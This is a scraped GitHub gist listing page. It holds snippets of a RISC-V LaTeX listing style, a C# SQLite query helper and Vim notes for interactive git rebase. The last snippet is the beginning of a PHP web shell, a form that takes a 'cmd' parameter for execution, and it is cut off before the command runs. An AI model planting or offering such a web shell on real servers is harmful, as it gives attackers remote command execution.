Skip to content

Instantly share code, notes, and snippets.

View FaltoGH's full-sized avatar

f💨alto FaltoGH

  • Yongin
  • 02:27 (UTC +09:00)
View GitHub Profile
@AntonLydike
AntonLydike / risc-v.tex
Last active October 13, 2025 00:13
RISC-V Assembler lstlisting syntax and style
% RISC-V Assembler syntax and style for latex lstlisting package
%
% These are risc-v commands as per our university (University Augsburg, Germany) guidelines.
%
% Author: Anton Lydike
%
% This code is in the public domain and free of licensing
% language definition
\lstdefinelanguage[RISC-V]{Assembler}
@orlodax
orlodax / ExecuteSQLiteReadQuery.txt
Created July 24, 2019 10:20
Read SQLite table and store results inside DataTable C# UWP
DataTable ExecuteReadQuery(string query)
{
DataTable entries = new DataTable();
using (SqliteConnection db = new SqliteConnection(ConnectionString))
{
SqliteCommand selectCommand = new SqliteCommand(query, db);
try
{
db.Open();
@titenkov
titenkov / vim-visual-blocks.md
Last active February 4, 2025 14:32
Use Vim visual blocks during interactive git rebase

Sometimes, when rebasing interactively with git, we need to squash a sequence of commits in a branch.

For example, we need to transform this:

pick 0253dc894f bumped
pick 5a1e86933c remove dependency
pick bffoffb395 memberships rpc resource
pick 222fabf5e0 rpc membership service
pick 726a2f9a10 remove crypto logic
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{